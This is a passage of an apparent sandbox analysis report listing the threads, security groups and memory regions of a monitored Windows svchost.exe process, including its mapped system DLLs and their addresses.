"private_0x000007fffffdd000" filename = "" Region: id = 4720 start_va = 0x7fffffdf000 end_va = 0x7fffffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffdf000" filename = "" Thread: id = 317 os_tid = 0xb30 Thread: id = 318 os_tid = 0x8c8 Thread: id = 319 os_tid = 0x8c0 Thread: id = 320 os_tid = 0x748 Thread: id = 321 os_tid = 0x758 Thread: id = 322 os_tid = 0x6f8 Thread: id = 323 os_tid = 0x5bc Thread: id = 324 os_tid = 0x5b4 Thread: id = 325 os_tid = 0x5a8 Thread: id = 326 os_tid = 0x568 Thread: id = 327 os_tid = 0x564 Thread: id = 328 os_tid = 0x150 Thread: id = 329 os_tid = 0x2a4 Thread: id = 330 os_tid = 0x3b0 Thread: id = 331 os_tid = 0x3a8 Thread: id = 332 os_tid = 0x368 Thread: id = 333 os_tid = 0x2f0 Thread: id = 334 os_tid = 0x2ec Thread: id = 335 os_tid = 0x2c8 Thread: id = 336 os_tid = 0x2bc Thread: id = 493 os_tid = 0xd48 Process: id = "15" image_name = "svchost.exe" filename = "c:\\windows\\system32\\svchost.exe" page_root = "0x76dd0000" os_pid = "0x308" os_integrity_level = "0x4000" os_privileges = "0x60b16080" monitor_reason = "child_process" parent_id = "11" os_parent_pid = "0x1d0" cmd_line = "C:\\Windows\\System32\\svchost.exe -k LocalSystemNetworkRestricted" cur_dir = "C:\\Windows\\system32\\" os_username = "NT AUTHORITY\\SYSTEM" bitness = "32" os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\AudioEndpointBuilder" [0xe], "NT SERVICE\\CscService" [0xa], "NT SERVICE\\dot3svc" [0xa], "NT SERVICE\\hidserv" [0xa], "NT SERVICE\\HomeGroupListener" [0xa], "NT SERVICE\\IPBusEnum" [0xa], "NT SERVICE\\Netman" [0xa], "NT SERVICE\\PcaSvc" [0xa], "NT SERVICE\\StorSvc" [0xa], "NT SERVICE\\TabletInputService" [0xa], "NT SERVICE\\TrkWks" [0xa], "NT SERVICE\\UmRdpService" [0xa], "NT SERVICE\\UxSms" [0xa], "NT SERVICE\\WdiSystemHost" [0xa], "NT SERVICE\\Wlansvc" [0xa], "NT SERVICE\\WPDBusEnum" [0xa], "NT SERVICE\\wudfsvc" [0xa], "NT AUTHORITY\\Logon Session 00000000:0000ad32" [0xc0000007], "LOCAL" [0x7], "BUILTIN\\Administrators" [0xe] Region: id = 3592 start_va = 0x10000 end_va = 0x1ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 3593 start_va = 0x20000 end_va = 0x2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000020000" filename = "" Region: id = 3594 start_va = 0x30000 end_va = 0x33fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000030000" filename = "" Region: id = 3595 start_va = 0x40000 end_va = 0x40fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000040000" filename = "" Region: id = 3596 start_va = 0x50000 end_va = 0xcffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000050000" filename = "" Region: id = 3597 start_va = 0xd0000 end_va = 0x136fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 3598 start_va = 0x140000 end_va = 0x23ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000140000" filename = "" Region: id = 3599 start_va = 0x240000 end_va = 0x240fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "svchost.exe.mui" filename = "\\Windows\\System32\\en-US\\svchost.exe.mui" (normalized: "c:\\windows\\system32\\en-us\\svchost.exe.mui") Region: id = 3600 start_va = 0x250000 end_va = 0x250fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000250000" filename = "" Region: id = 3601 start_va = 0x260000 end_va = 0x260fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000260000" filename = "" Region: id = 3602 start_va = 0x270000 end_va = 0x36ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000270000" filename = "" Region: id = 3603 start_va = 0x370000 end_va = 0x4f7fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000370000" filename = "" Region: id = 3604 start_va = 0x500000 end_va = 0x680fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000500000" filename = "" Region: id = 3605 start_va = 0x690000 end_va = 0x74ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000690000" filename = "" Region: id = 3606 start_va = 0x7d0000 end_va = 0x7dcfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "setupapi.dll.mui" filename = "\\Windows\\System32\\en-US\\setupapi.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\setupapi.dll.mui") Region: id = 3607 start_va = 0x7e0000 end_va = 0x7e0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000007e0000" filename = "" Region: id = 3608 start_va = 0x7f0000 end_va = 0x7f0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000007f0000" filename = "" Region: id = 3609 start_va = 0x800000 end_va = 0x800fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000800000" filename = "" Region: id = 3610 start_va = 0x810000 end_va = 0x810fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000810000" filename = "" Region: id = 3611 start_va = 0x820000 end_va = 0x821fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000820000" filename = "" Region: id = 3612 start_va = 0x830000 end_va = 0x831fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000830000" filename = "" Region: id = 3613 start_va = 0x840000 end_va = 0x841fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000840000" filename = "" Region: id = 3614 start_va = 0x850000 end_va = 0x850fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000850000" filename = "" Region: id = 3615 start_va = 0x860000 end_va = 0x86ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000860000" filename = "" Region: id = 3616 start_va = 0x870000 end_va = 0x88ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "rasdlg.dll.mui" filename = "\\Windows\\System32\\en-US\\rasdlg.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\rasdlg.dll.mui") Region: id = 3617 start_va = 0x890000 end_va = 0x90ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000890000" filename = "" Region: id = 3618 start_va = 0x910000 end_va = 0x910fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000910000" filename = "" Region: id = 3619 start_va = 0x920000 end_va = 0x963fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000920000" filename = "" Region: id = 3620 start_va = 0x9a0000 end_va = 0xa1ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000009a0000" filename = "" Region: id = 3621 start_va = 0xa20000 end_va = 0xa9ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000a20000" filename = "" Region: id = 3622 start_va = 0xaa0000 end_va = 0xaa0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000aa0000" filename = "" Region: id = 3623 start_va = 0xab0000 end_va = 0xab4fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "sysmain.dll.mui" filename = "\\Windows\\System32\\en-US\\sysmain.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\sysmain.dll.mui") Region: id = 3624 start_va = 0xb00000 end_va = 0xb7ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000b00000" filename = "" Region: id = 3625 start_va = 0xb90000 end_va = 0xe5efff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 3626 start_va = 0xef0000 end_va = 0xf6ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000ef0000" filename = "" Region: id = 3627 start_va = 0xfa0000 end_va = 0x101ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000fa0000" filename = "" Region: id = 3628 start_va = 0x1040000 end_va = 0x10bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001040000" filename = "" Region: id = 3629 start_va = 0x1110000 end_va = 0x118ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001110000" filename = "" Region: id = 3630 start_va = 0x11d0000 end_va = 0x124ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000011d0000" filename = "" Region: id = 3631 start_va = 0x1280000 end_va = 0x12fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001280000" filename = "" Region: id = 3632 start_va = 0x1300000 end_va = 0x137ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001300000" filename = "" Region: id = 3633 start_va = 0x1410000 end_va = 0x148ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001410000" filename = "" Region: id = 3634 start_va = 0x14c0000 end_va = 0x14cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000014c0000" filename = "" Region: id = 3635 start_va = 0x1510000 end_va = 0x158ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001510000" filename = "" Region: id = 3636 start_va = 0x1590000 end_va = 0x168ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001590000" filename = "" Region: id = 3637 start_va = 0x17c0000 end_va = 0x183ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000017c0000" filename = "" Region: id = 3638 start_va = 0x1860000 end_va = 0x18dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001860000" filename = "" Region: id = 3639 start_va = 0x19d0000 end_va = 0x19dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000019d0000" filename = "" Region: id = 3640 start_va = 0x1a40000 end_va = 0x1abffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001a40000" filename = "" Region: id = 3641 start_va = 0x1ac0000 end_va = 0x1bbffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001ac0000" filename = "" Region: id = 3642 start_va = 0x1bd0000 end_va = 0x1bdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001bd0000" filename = "" Region: id = 3643 start_va = 0x1de0000 end_va = 0x1e5ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001de0000" filename = "" Region: id = 3644 start_va = 0x1e60000 end_va = 0x1f5ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001e60000" filename = "" Region: id = 3645 start_va = 0x1f70000 end_va = 0x1f7ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001f70000" filename = "" Region: id = 3646 start_va = 0x1fd0000 end_va = 0x204ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001fd0000" filename = "" Region: id = 3647 start_va = 0x2070000 end_va = 0x207ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002070000" filename = "" Region: id = 3648 start_va = 0x2080000 end_va = 0x217ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002080000" filename = "" Region: id = 3649 start_va = 0x2180000 end_va = 0x227ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002180000" filename = "" Region: id = 3650 start_va = 0x2300000 end_va = 0x230ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002300000" filename = "" Region: id = 3651 start_va = 0x2310000 end_va = 0x240ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002310000" filename = "" Region: id = 3652 start_va = 0x24d0000 end_va = 0x24dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000024d0000" filename = "" Region: id = 3653 start_va = 0x24e0000 end_va = 0x25dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000024e0000" filename = "" Region: id = 3654 start_va = 0x26b0000 end_va = 0x26bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000026b0000" filename = "" Region: id = 3655 start_va = 0x26c0000 end_va = 0x28bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000026c0000" filename = "" Region: id = 3656 start_va = 0x28c0000 end_va = 0x30bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000028c0000" filename = "" Region: id = 3657 start_va = 0x3920000 end_va = 0x3d1ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003920000" filename = "" Region: id = 3658 start_va = 0x3d20000 end_va = 0x451ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003d20000" filename = "" Region: id = 3659 start_va = 0x4520000 end_va = 0x54effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004520000" filename = "" Region: id = 3660 start_va = 0x54f0000 end_va = 0x64bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000054f0000" filename = "" Region: id = 3661 start_va = 0x74b60000 end_va = 0x74b62fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "sfc.dll" filename = "\\Windows\\System32\\sfc.dll" (normalized: "c:\\windows\\system32\\sfc.dll") Region: id = 3662 start_va = 0x76c40000 end_va = 0x76d5efff monitored = 0 entry_point = 0x76c55340 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 3663 start_va = 0x76d60000 end_va = 0x76e59fff monitored = 0 entry_point = 0x76d7a2c8 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll") Region: id = 3664 start_va = 0x76e60000 end_va = 0x77008fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 3665 start_va = 0x7efe0000 end_va = 0x7f0dffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efe0000" filename = "" Region: id = 3666 start_va = 0x7f0e0000 end_va = 0x7ffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007f0e0000" filename = "" Region: id = 3667 start_va = 0x7ffe0000 end_va = 0x7ffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 3668 start_va = 0xff450000 end_va = 0xff45afff monitored = 0 entry_point = 0xff45246c region_type = mapped_file name = "svchost.exe" filename = "\\Windows\\System32\\svchost.exe" (normalized: "c:\\windows\\system32\\svchost.exe") Region: id = 3669 start_va = 0x7fef36a0000 end_va = 0x7fef36defff monitored = 0 entry_point = 0x7fef36a12c0 region_type = mapped_file name = "cscobj.dll" filename = "\\Windows\\System32\\cscobj.dll" (normalized: "c:\\windows\\system32\\cscobj.dll") Region: id = 3670 start_va = 0x7fef3780000 end_va = 0x7fef379bfff monitored = 0 entry_point = 0x7fef37811a0 region_type = mapped_file name = "rasman.dll" filename = "\\Windows\\System32\\rasman.dll" (normalized: "c:\\windows\\system32\\rasman.dll") Region: id = 3671 start_va = 0x7fef37a0000 end_va = 0x7fef3801fff monitored = 0 entry_point = 0x7fef37a1198 region_type = mapped_file name = "rasapi32.dll" filename = "\\Windows\\System32\\rasapi32.dll" (normalized: "c:\\windows\\system32\\rasapi32.dll") Region: id = 3672 start_va = 0x7fef3810000 end_va = 0x7fef3849fff monitored = 0 entry_point = 0x7fef3811010 region_type = mapped_file name = "mprapi.dll" filename = "\\Windows\\System32\\mprapi.dll" (normalized: "c:\\windows\\system32\\mprapi.dll") Region: id = 3673 start_va = 0x7fef3850000 end_va = 0x7fef3927fff monitored = 0 entry_point = 0x7fef38b8bd0 region_type = mapped_file name = "rasdlg.dll" filename = "\\Windows\\System32\\rasdlg.dll" (normalized: "c:\\windows\\system32\\rasdlg.dll") Region: id = 3674 start_va = 0x7fef3930000 end_va = 0x7fef398bfff monitored = 0 entry_point = 0x7fef3938c20 region_type = mapped_file name = "netman.dll" filename = "\\Windows\\System32\\netman.dll" (normalized: "c:\\windows\\system32\\netman.dll") Region: id = 3675 start_va = 0x7fef3be0000 end_va = 0x7fef3e6afff monitored = 0 entry_point = 0x7fef3be6f5c region_type = mapped_file name = "netshell.dll" filename = "\\Windows\\System32\\netshell.dll" (normalized: "c:\\windows\\system32\\netshell.dll") Region: id = 3676 start_va = 0x7fef40f0000 end_va = 0x7fef40fbfff monitored = 0 entry_point = 0x7fef40f419c region_type = mapped_file name = "apphlpdm.dll" filename = "\\Windows\\System32\\Apphlpdm.dll" (normalized: "c:\\windows\\system32\\apphlpdm.dll") Region: id = 3677 start_va = 0x7fef4100000 end_va = 0x7fef4116fff monitored = 0 entry_point = 0x7fef410d308 region_type = mapped_file name = "portabledeviceconnectapi.dll" filename = "\\Windows\\System32\\PortableDeviceConnectApi.dll" (normalized: "c:\\windows\\system32\\portabledeviceconnectapi.dll") Region: id = 3678 start_va = 0x7fef4120000 end_va = 0x7fef41dcfff monitored = 0 entry_point = 0x7fef4121ea4 region_type = mapped_file name = "portabledeviceapi.dll" filename = "\\Windows\\System32\\PortableDeviceApi.dll" (normalized: "c:\\windows\\system32\\portabledeviceapi.dll") Region: id = 3679 start_va = 0x7fef4710000 end_va = 0x7fef477afff monitored = 0 entry_point = 0x7fef4754344 region_type = mapped_file name = "hnetcfg.dll" filename = "\\Windows\\System32\\hnetcfg.dll" (normalized: "c:\\windows\\system32\\hnetcfg.dll") Region: id = 3680 start_va = 0x7fef4780000 end_va = 0x7fef4792fff monitored = 0 entry_point = 0x7fef4781d80 region_type = mapped_file name = "wbemsvc.dll" filename = "\\Windows\\System32\\wbem\\wbemsvc.dll" (normalized: "c:\\windows\\system32\\wbem\\wbemsvc.dll") Region: id = 3681 start_va = 0x7fef4960000 end_va = 0x7fef49e3fff monitored = 0 entry_point = 0x7fef49b1118 region_type = mapped_file name = "netcfgx.dll" filename = "\\Windows\\System32\\netcfgx.dll" (normalized: "c:\\windows\\system32\\netcfgx.dll") Region: id = 3682 start_va = 0x7fef4a60000 end_va = 0x7fef4a86fff monitored = 0 entry_point = 0x7fef4a611a0 region_type = mapped_file name = "ntdsapi.dll" filename = "\\Windows\\System32\\ntdsapi.dll" (normalized: "c:\\windows\\system32\\ntdsapi.dll") Region: id = 3683 start_va = 0x7fef4a90000 end_va = 0x7fef4b62fff monitored = 0 entry_point = 0x7fef4b08b00 region_type = mapped_file name = "fastprox.dll" filename = "\\Windows\\System32\\wbem\\fastprox.dll" (normalized: "c:\\windows\\system32\\wbem\\fastprox.dll") Region: id = 3684 start_va = 0x7fef4c50000 end_va = 0x7fef4dfdfff monitored = 0 entry_point = 0x7fef4c7a148 region_type = mapped_file name = "sysmain.dll" filename = "\\Windows\\System32\\sysmain.dll" (normalized: "c:\\windows\\system32\\sysmain.dll") Region: id = 3685 start_va = 0x7fef7f40000 end_va = 0x7fef7fbbfff monitored = 0 entry_point = 0x7fef7f411d4 region_type = mapped_file name = "wer.dll" filename = "\\Windows\\System32\\wer.dll" (normalized: "c:\\windows\\system32\\wer.dll") Region: id = 3686 start_va = 0x7fef9e60000 end_va = 0x7fef9eb6fff monitored = 0 entry_point = 0x7fef9e61118 region_type = mapped_file name = "apphelp.dll" filename = "\\Windows\\System32\\apphelp.dll" (normalized: "c:\\windows\\system32\\apphelp.dll") Region: id = 3687 start_va = 0x7fefa860000 end_va = 0x7fefa86ffff monitored = 0 entry_point = 0x7fefa8627f0 region_type = mapped_file name = "uxsms.dll" filename = "\\Windows\\System32\\uxsms.dll" (normalized: "c:\\windows\\system32\\uxsms.dll") Region: id = 3688 start_va = 0x7fefa870000 end_va = 0x7fefa87afff monitored = 0 entry_point = 0x7fefa871198 region_type = mapped_file name = "winnsi.dll" filename = "\\Windows\\System32\\winnsi.dll" (normalized: "c:\\windows\\system32\\winnsi.dll") Region: id = 3689 start_va = 0x7fefa880000 end_va = 0x7fefa8a6fff monitored = 0 entry_point = 0x7fefa8898bc region_type = mapped_file name = "iphlpapi.dll" filename = "\\Windows\\System32\\IPHLPAPI.DLL" (normalized: "c:\\windows\\system32\\iphlpapi.dll") Region: id = 3690 start_va = 0x7fefa950000 end_va = 0x7fefa95afff monitored = 0 entry_point = 0x7fefa954f8c region_type = mapped_file name = "slc.dll" filename = "\\Windows\\System32\\slc.dll" (normalized: "c:\\windows\\system32\\slc.dll") Region: id = 3691 start_va = 0x7fefa960000 end_va = 0x7fefa96bfff monitored = 0 entry_point = 0x7fefa9615d8 region_type = mapped_file name = "dsrole.dll" filename = "\\Windows\\System32\\dsrole.dll" (normalized: "c:\\windows\\system32\\dsrole.dll") Region: id = 3692 start_va = 0x7fefa980000 end_va = 0x7fefa998fff monitored = 0 entry_point = 0x7fefa9811a8 region_type = mapped_file name = "atl.dll" filename = "\\Windows\\System32\\atl.dll" (normalized: "c:\\windows\\system32\\atl.dll") Region: id = 3693 start_va = 0x7fefa9e0000 end_va = 0x7fefa9f4fff monitored = 0 entry_point = 0x7fefa9e60d8 region_type = mapped_file name = "nlaapi.dll" filename = "\\Windows\\System32\\nlaapi.dll" (normalized: "c:\\windows\\system32\\nlaapi.dll") Region: id = 3694 start_va = 0x7fefaad0000 end_va = 0x7fefab0cfff monitored = 0 entry_point = 0x7fefaad1b7c region_type = mapped_file name = "mstask.dll" filename = "\\Windows\\System32\\mstask.dll" (normalized: "c:\\windows\\system32\\mstask.dll") Region: id = 3695 start_va = 0x7fefab10000 end_va = 0x7fefac36fff monitored = 0 entry_point = 0x7fefab110ec region_type = mapped_file name = "taskschd.dll" filename = "\\Windows\\System32\\taskschd.dll" (normalized: "c:\\windows\\system32\\taskschd.dll") Region: id = 3696 start_va = 0x7fefac40000 end_va = 0x7fefac6ffff monitored = 0 entry_point = 0x7fefac5fe98 region_type = mapped_file name = "peerdist.dll" filename = "\\Windows\\System32\\PeerDist.dll" (normalized: "c:\\windows\\system32\\peerdist.dll") Region: id = 3697 start_va = 0x7fefac70000 end_va = 0x7fefad1bfff monitored = 0 entry_point = 0x7fefac818d0 region_type = mapped_file name = "cscsvc.dll" filename = "\\Windows\\System32\\cscsvc.dll" (normalized: "c:\\windows\\system32\\cscsvc.dll") Region: id = 3698 start_va = 0x7fefad20000 end_va = 0x7fefad2dfff monitored = 0 entry_point = 0x7fefad25500 region_type = mapped_file name = "wbemprox.dll" filename = "\\Windows\\System32\\wbem\\wbemprox.dll" (normalized: "c:\\windows\\system32\\wbem\\wbemprox.dll") Region: id = 3699 start_va = 0x7fefad30000 end_va = 0x7fefad40fff monitored = 0 entry_point = 0x7fefad314c0 region_type = mapped_file name = "rtutils.dll" filename = "\\Windows\\System32\\rtutils.dll" (normalized: "c:\\windows\\system32\\rtutils.dll") Region: id = 3700 start_va = 0x7fefadf0000 end_va = 0x7fefae66fff monitored = 0 entry_point = 0x7fefae2e7f0 region_type = mapped_file name = "wbemcomn2.dll" filename = "\\Windows\\System32\\wbemcomn2.dll" (normalized: "c:\\windows\\system32\\wbemcomn2.dll") Region: id = 3701 start_va = 0x7fefaf20000 end_va = 0x7fefaf41fff monitored = 0 entry_point = 0x7fefaf21020 region_type = mapped_file name = "trkwks.dll" filename = "\\Windows\\System32\\trkwks.dll" (normalized: "c:\\windows\\system32\\trkwks.dll") Region: id = 3702 start_va = 0x7fefaf50000 end_va = 0x7fefaf68fff monitored = 0 entry_point = 0x7fefaf52b50 region_type = mapped_file name = "wdi.dll" filename = "\\Windows\\System32\\wdi.dll" (normalized: "c:\\windows\\system32\\wdi.dll") Region: id = 3703 start_va = 0x7fefaf70000 end_va = 0x7fefaf81fff monitored = 0 entry_point = 0x7fefaf71050 region_type = mapped_file name = "aepic.dll" filename = "\\Windows\\System32\\aepic.dll" (normalized: "c:\\windows\\system32\\aepic.dll") Region: id = 3704 start_va = 0x7fefaf90000 end_va = 0x7fefafc2fff monitored = 0 entry_point = 0x7fefaf9101c region_type = mapped_file name = "pcasvc.dll" filename = "\\Windows\\System32\\pcasvc.dll" (normalized: "c:\\windows\\system32\\pcasvc.dll") Region: id = 3705 start_va = 0x7fefaff0000 end_va = 0x7fefb000fff monitored = 0 entry_point = 0x7fefaff1070 region_type = mapped_file name = "wtsapi32.dll" filename = "\\Windows\\System32\\wtsapi32.dll" (normalized: "c:\\windows\\system32\\wtsapi32.dll") Region: id = 3706 start_va = 0x7fefb010000 end_va = 0x7fefb01ffff monitored = 0 entry_point = 0x7fefb011010 region_type = mapped_file name = "sfc_os.dll" filename = "\\Windows\\System32\\sfc_os.dll" (normalized: "c:\\windows\\system32\\sfc_os.dll") Region: id = 3707 start_va = 0x7fefb150000 end_va = 0x7fefb184fff monitored = 0 entry_point = 0x7fefb151064 region_type = mapped_file name = "xmllite.dll" filename = "\\Windows\\System32\\xmllite.dll" (normalized: "c:\\windows\\system32\\xmllite.dll") Region: id = 3708 start_va = 0x7fefb620000 end_va = 0x7fefb813fff monitored = 0 entry_point = 0x7fefb7ac924 region_type = mapped_file name = "comctl32.dll" filename = "\\Windows\\winsxs\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_fa396087175ac9ac\\comctl32.dll" (normalized: "c:\\windows\\winsxs\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_fa396087175ac9ac\\comctl32.dll") Region: id = 3709 start_va = 0x7fefbb30000 end_va = 0x7fefbb38fff monitored = 0 entry_point = 0x7fefbb31010 region_type = mapped_file name = "avrt.dll" filename = "\\Windows\\System32\\avrt.dll" (normalized: "c:\\windows\\system32\\avrt.dll") Region: id = 3710 start_va = 0x7fefbb40000 end_va = 0x7fefbc6bfff monitored = 0 entry_point = 0x7fefbb494bc region_type = mapped_file name = "propsys.dll" filename = "\\Windows\\System32\\propsys.dll" (normalized: "c:\\windows\\system32\\propsys.dll") Region: id = 3711 start_va = 0x7fefbc70000 end_va = 0x7fefbcbafff monitored = 0 entry_point = 0x7fefbc7efcc region_type = mapped_file name = "mmdevapi.dll" filename = "\\Windows\\System32\\MMDevAPI.dll" (normalized: "c:\\windows\\system32\\mmdevapi.dll") Region: id = 3712 start_va = 0x7fefbcc0000 end_va = 0x7fefbcebfff monitored = 0 entry_point = 0x7fefbcc15c4 region_type = mapped_file name = "powrprof.dll" filename = "\\Windows\\System32\\powrprof.dll" (normalized: "c:\\windows\\system32\\powrprof.dll") Region: id = 3713 start_va = 0x7fefbcf0000 end_va = 0x7fefbd9bfff monitored = 0 entry_point = 0x7fefbd06acc region_type = mapped_file name = "audiosrv.dll" filename = "\\Windows\\System32\\audiosrv.dll" (normalized: "c:\\windows\\system32\\audiosrv.dll") Region: id = 3714 start_va = 0x7fefbda0000 end_va = 0x7fefbdccfff monitored = 0 entry_point = 0x7fefbda1010 region_type = mapped_file name = "ntmarta.dll" filename = "\\Windows\\System32\\ntmarta.dll" (normalized: "c:\\windows\\system32\\ntmarta.dll") Region: id = 3715 start_va = 0x7fefbf70000 end_va = 0x7fefbf7bfff monitored = 0 entry_point = 0x7fefbf71064 region_type = mapped_file name = "version.dll" filename = "\\Windows\\System32\\version.dll" (normalized: "c:\\windows\\system32\\version.dll") Region: id = 3716 start_va = 0x7fefc130000 end_va = 0x7fefc14afff monitored = 0 entry_point = 0x7fefc132068 region_type = mapped_file name = "gpapi.dll" filename = "\\Windows\\System32\\gpapi.dll" (normalized: "c:\\windows\\system32\\gpapi.dll") Region: id = 3717 start_va = 0x7fefc150000 end_va = 0x7fefc16dfff monitored = 0 entry_point = 0x7fefc1513b8 region_type = mapped_file name = "userenv.dll" filename = "\\Windows\\System32\\userenv.dll" (normalized: "c:\\windows\\system32\\userenv.dll") Region: id = 3718 start_va = 0x7fefc170000 end_va = 0x7fefc181fff monitored = 0 entry_point = 0x7fefc171060 region_type = mapped_file name = "devrtl.dll" filename = "\\Windows\\System32\\devrtl.dll" (normalized: "c:\\windows\\system32\\devrtl.dll") Region: id = 3719 start_va = 0x7fefc2a0000 end_va = 0x7fefc2a9fff monitored = 0 entry_point = 0x7fefc2a3cb8 region_type = mapped_file name = "credssp.dll" filename = "\\Windows\\System32\\credssp.dll" (normalized: "c:\\windows\\system32\\credssp.dll") Region: id = 3720 start_va = 0x7fefc2b0000 end_va = 0x7fefc2bcfff monitored = 0 entry_point = 0x7fefc2b1348 region_type = mapped_file name = "pcwum.dll" filename = "\\Windows\\System32\\pcwum.dll" (normalized: "c:\\windows\\system32\\pcwum.dll") Region: id = 3721 start_va = 0x7fefc3a0000 end_va = 0x7fefc3e6fff monitored = 0 entry_point = 0x7fefc3a1064 region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\System32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll") Region: id = 3722 start_va = 0x7fefc6a0000 end_va = 0x7fefc6b7fff monitored = 0 entry_point = 0x7fefc6a3b48 region_type = mapped_file name = "cryptsp.dll" filename = "\\Windows\\System32\\cryptsp.dll" (normalized: "c:\\windows\\system32\\cryptsp.dll") Region: id = 3723 start_va = 0x7fefc810000 end_va = 0x7fefc831fff monitored = 0 entry_point = 0x7fefc815d30 region_type = mapped_file name = "bcrypt.dll" filename = 